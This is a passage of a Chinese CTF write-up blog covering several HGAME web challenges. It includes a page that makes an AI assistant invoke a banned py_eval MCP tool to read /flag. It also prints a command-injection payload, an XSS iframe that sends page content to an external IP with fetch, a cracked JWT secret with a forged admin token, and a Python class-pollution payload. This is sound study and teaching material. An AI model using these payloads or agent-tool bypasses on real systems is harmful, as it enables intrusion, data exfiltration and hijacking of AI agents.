-H 'Authorization: d3d55ff5-eb56-4249-b945-e6559142ce90' \
-H 'Referer: http://cloud-big.hgame.vidar.club:30850/' \
-H 'Content-Length: 11' \
-H 'Accept-Language: zh-CN,zh-Hans;q=0.9' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Connection: keep-alive' \
-H 'Priority: u=3, i' \
--data-raw '{"time":10}'

flag

My Little Assistant#

Woore最近在折腾一个“智能助手”,
它看起来很贴心:
能帮你分析网页
能访问外部资源
甚至还能“执行一些小工具”
但在信任这位小助手之前, 你或许该想想:
它到底是在理解你的需求, 还是在服从看到的一切?

这题好玩。

py_eval这个mcp被ban了,ai使用不了,只能使用py_request,但是这个mcp只支持get,无法使用它来直接ssrf请求mcp的py_eval。考虑xss,chrome刚好禁用了跨域限制。

try_eval eval_banned request_safe xss

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Flag</title>
</head>
<body>
<div id="result">Waiting...</div>
<script>
// 1. 更加精简的 Python Payload
// 不需要 import os,直接读取即可,确保 local_vars 只有 result
const pyCode = "result = open('/flag').read()";
const payload = {
"jsonrpc": "2.0",
"id": 1,
"params": {
"name": "py_eval",
"arguments": {
"code": pyCode
}
}
};
fetch('http://127.0.0.1:8001/mcp', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
})
.then(res => res.json())
.then(data => {
// 2. JS 数据清洗
// data 结构是: {jsonrpc:..., result: { content: [{text: "string_of_local_vars"}] } }
// 我们直接提取最深层的 text,扔掉外面的包装
try {
let innerText = data.result.content[0].text;
document.getElementById('result').innerText = innerText;
} catch (e) {
document.getElementById('result').innerText = JSON.stringify(data);
}
});
</script>
</body>
</html>

flag

MyMonitor#

刚开始审计,尝试了一下jwt,但不是。 not_jwt

ai真好使啊((。bot执行ls命令的时候没有args,导致普通用户发送的args进入的bot那条指令里,造成了命令拼接。以下是 AI 分析,只能说勉勉强强知道在说啥吧💦

核心漏洞在于 attachment/handler.go 中对 sync.Pool 的不当使用,导致了对象池污染(Object Pool Pollution),结合后台可能存在的 Admin Bot,可以实现远程代码执行(RCE)获取 Flag。

  1. 漏洞分析 漏洞位于 attachment/handler.go 的 UserCmd 函数中:
func UserCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象
defer MonitorPool.Put(monitor) // 2. 函数结束时放回池中
if err := c.ShouldBindJSON(monitor); err != nil { // 3. 绑定 JSON
fmt.Println(monitor)
c.JSON(400, gin.H{"error": err.Error()})
return // 4. 如果出错,直接返回
}
fmt.Println(monitor)
defer monitor.reset() // 5. 重置对象字段(注意位置!)
// ...
}

问题点: Go 的 sync.Pool 会复用对象。当一个对象被放回池中时,它保留了之前的状态,除非显式重置。 在 UserCmd 中,defer monitor.reset() 语句位于 ShouldBindJSON 错误检查的下方。 如果 ShouldBindJSON 返回错误(例如 JSON 格式正确但缺少 binding:“required” 的字段),函数会执行 return。 此时,defer MonitorPool.Put(monitor) 会执行(因为它在上方定义了),将对象放回池中。 但是,defer monitor.reset() 不会执行。 这就导致一个“脏”的 monitor 对象被放回了池中。这个对象可能包含了解析了一半的数据。 MonitorStruct 定义如下:

type MonitorStruct struct {
Cmd string `json:"cmd" binding:"required"`
Args string `json:"args"`
}

如果我们发送一个 JSON:{“args”: ”; cat /flag > /app/templates/login.html”},但不包含 cmd 字段: ShouldBindJSON 会先解析 JSON,将 Args 字段赋值进 monitor 对象。 然后进行校验,发现缺少 required 的 cmd 字段,返回错误。 UserCmd 提前返回,跳过了 monitor.reset()。 带有恶意 Args 的对象被放回 MonitorPool。

  1. 攻击路径 攻击需要结合 AdminCmd 函数。我们假设题目环境中有一个 Admin Bot 会定期调用 /api/admin/cmd 接口。
func AdminCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct) // 获取可能被污染的对象
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
// ...
}
// ...
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 拼接命令
output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput() // 执行
// ...
}

如果 Admin Bot 发送的请求只包含 cmd(例如 {“cmd”: “ls”}),而不包含 args,json.Unmarshal 只会更新 JSON 中存在的字段。因此,MonitorStruct 中的 Args 字段将保留我们在 UserCmd 中污染的值。

最终执行的命令变为:ls ; cat /flag > /app/templates/login.htmlflag

博丽神社的绘马挂#

灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题...而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
(Flag格式为 Hgame{example_flag})

弱密码,admin/admin123

有个 呼叫灵梦 按钮,感觉是考xss啊。

fuzz一下,挂一个

{{7*7}}
<script>alert('XSS');</script>
<alert>bb</alert>

诶,弹窗了,而且只显示 {{7*7}} bb 了,那说明确实是xss

本来是想先看一下灵梦的用户名是什么,读一下他的html,结果flag直接出来了…Payload如下:

<iframe src="archives.html" style="display:none" onload="setTimeout(()=>{
var secret = this.contentWindow.document.body.innerText;
fetch('http://120.26.146.96:3306/?flag=' + btoa(encodeURIComponent(secret)));
}, 2000)"></iframe>

xss

The_Secret_Is: Hgame{tHE-secr3T_0F-haKUR31_JlNJ41a535673}

flag

Vidarshop#

c-jwt-cracker git:(master) ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbVx1MDEzMW4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAxODczOH0.5akQz2Bq9KLrsBTGJBsNHfRewF5vUbX_TYI-yIxoY4Y
Secret is "111"

jwt 爆破得到 jwt 的 secretKey 是 111,不过其实没有用,因为权限判定只依赖 uid,与 username 无关。不过可以伪造 admin:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxODcwMDE4NzM4fQ.8mwUaZZr7hG0B-vSmZD8vTJ1SwqaCrpUrynjaHJk-Eo

uid 尝试爆破uid,呃…

没招了,乱注册,发现 a、1 的 uid 都是 1,注意到:

1413914
a -> 1
d -> 4
m -> 13
i -> 9
n -> 14

所以 admin 的 uid 是 1413914哪个大聪明想出来的??? admin

尝试修改余额:

await apiRequest('/api/update', 'POST', {
"balance": 100000,
"role": "user",
"username": "chao"
});

发现没用。

有提示:update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢

不对啊,原型链污染也改不了啊。。。原来是Flask,没注意到。

await apiRequest('/api/update', 'POST', {
"__class__": {
"__init__": {
"__globals__": {
"role": "admin",
"balance": 100000000
}
}
},
"username": "1dmin"
});

balance flag

[Crypto] Classic#

人工队输了

1 2 3

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260209
https://blog.chaomixian.top/posts/chaomixian-writeup-20260209/
作者
炒米线
发布于
2026-02-09
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录